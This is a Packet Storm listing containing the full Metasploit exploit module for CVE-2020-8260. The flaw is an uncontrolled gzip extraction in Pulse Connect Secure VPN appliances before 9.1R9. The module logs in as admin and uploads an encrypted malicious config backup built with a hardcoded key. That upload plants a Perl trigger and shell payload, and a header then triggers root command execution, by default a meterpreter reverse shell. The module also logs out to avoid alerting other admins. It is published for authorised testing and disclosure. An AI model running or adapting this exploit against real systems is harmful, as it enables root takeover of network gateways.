Pulse Secure VPN Remote Code Execution

2020-12-18T00:00:00
ID PACKETSTORM:160619
Type packetstorm
Reporter h00die
Modified 2020-12-18T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
ENCRYPTION_KEY = "\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5".b  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Pulse Secure VPN gzip RCE',  
'Description' => %q{  
The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability  
which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.  
Admin credentials are required for successful exploitation.  
Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.  
},  
'Author' => [  
'h00die', # msf module  
'Spencer McIntyre', # msf module  
'Richard Warren <richard.warren@nccgroup.com>', # original PoC, discovery  
'David Cash <david.cash@nccgroup.com>', # original PoC, discovery  
],  
'References' => [  
['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],  
['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],  
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],  
['CVE', '2020-8260']  
],  
'DisclosureDate' => '2020-10-26',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix In-Memory',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }  
}  
]  
],  
'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },  
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],  
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'The URI of the application', '/']),  
OptString.new('USERNAME', [true, 'The username to login with', 'admin']),  
OptString.new('PASSWORD', [true, 'The password to login with', '123456'])  
])  
  
register_advanced_options([  
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),  
])  
end  
  
def check(exploiting: false)  
login  
res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200  
version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version  
version, build = version  
  
return CheckCode::Unknown unless version.include?('R')  
  
version, revision = version.split('R', 2)  
print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")  
return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9  
  
CheckCode::Detected  
rescue Msf::Exploit::Failed  
CheckCode::Unknown  
ensure  
logout unless exploiting  
end  
  
def exploit  
case (checkcode = check(exploiting: true))  
when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears  
print_good(checkcode.message)  
when Exploit::CheckCode::Detected  
print_warning(checkcode.message)  
else  
fail_with(Module::Failure::Unknown, checkcode.message.to_s)  
end  
  
case target['Type']  
when :unix_memory  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(  
linemax: 262144, # 256KiB  
delay: datastore['CMDSTAGER::DELAY']  
)  
end  
  
logout  
end  
  
def execute_command(command, _opts = {})  
trigger = Rex::Text.rand_text_alpha_upper(8)  
print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")  
  
config = build_malicious_config(command, trigger)  
res = upload_config(config)  
  
fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200  
  
print_status('Triggering RCE')  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),  
'headers' => { trigger => trigger }  
})  
end  
  
def res_get_xsauth(res)  
res.body.scan(%r{name="xsauth" value="([^"]+)"/>})&.last&.first  
end  
  
def upload_config(config)  
print_status('Requesting backup config page')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),  
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },  
'vars_get' => { 'type' => 'system' }  
})  
fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200  
xsauth = res_get_xsauth(res)  
fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')  
post_data.add_part('Import', nil, nil, 'form-data; name="op"')  
post_data.add_part('system', nil, nil, 'form-data; name="type"')  
post_data.add_part('8', nil, nil, 'form-data; name="optWhat"')  
post_data.add_part('', nil, nil, 'form-data; name="txtPassword1"')  
post_data.add_part('Import Config', nil, nil, 'form-data; name="btnUpload"')  
post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"')  
  
print_status('Uploading encrypted config backup')  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),  
'method' => 'POST',  
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },  
'data' => post_data.to_s,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
end  
  
def login  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'tz_offset' => '-300',  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'realm' => 'Admin Users',  
'btnSubmit' => 'Sign In'  
},  
'keep_cookies' => true  
})  
  
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302  
location = res.headers['Location']  
fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')  
  
return unless location.include?('admin%2Dconfirm')  
  
# if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.  
print_status('Other admin sessions detected, continuing')  
res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })  
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200  
fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last  
xsauth = res_get_xsauth(res)  
fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'btnContinue' => 'Continue the session',  
'FormDataStr' => fds.first,  
'xsauth' => xsauth  
},  
'keep_cookies' => true  
})  
fail_with(Failure::UnexpectedReply, 'Login failed') unless res  
end  
  
def logout  
print_status('Logging out to prevent warnings to other admins')  
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })  
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200  
  
logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first  
fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?  
  
res = send_request_cgi({ 'uri' => logout_uri })  
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302  
end  
  
def build_malicious_config(cmd, trigger)  
payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh"  
perl = <<~PERL  
if (length $ENV{HTTP_#{trigger}}){  
chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}";  
system("env /data/var/runtime/tmp/tt/#{payload_script}");  
}  
PERL  
tarfile = StringIO.new  
Gem::Package::TarWriter.new(tarfile) do |tar|  
tar.mkdir('tmp', 509)  
tar.mkdir('tmp/tt', 509)  
tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|  
tio.write perl  
end  
tar.add_file("tmp/tt/#{payload_script}", 511) do |tio|  
tio.write "PATH=/home/bin:$PATH\n"  
tio.write "rm -- \"$0\"\n"  
tio.write cmd  
end  
end  
  
gzfile = StringIO.new  
gz = Zlib::GzipWriter.new(gzfile)  
gz.write(tarfile.string)  
gz.close  
  
encrypt_config(gzfile.string)  
end  
  
def encrypt_config(config_blob)  
cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt  
iv = cipher.iv = cipher.random_iv  
cipher.key = ENCRYPTION_KEY  
  
md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config_blob.length].pack('V')}")  
  
ciphertext = cipher.update(config_blob)  
ciphertext << cipher.final  
md5 << ciphertext  
  
cipher.reset  
"\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}"  
end  
end  
`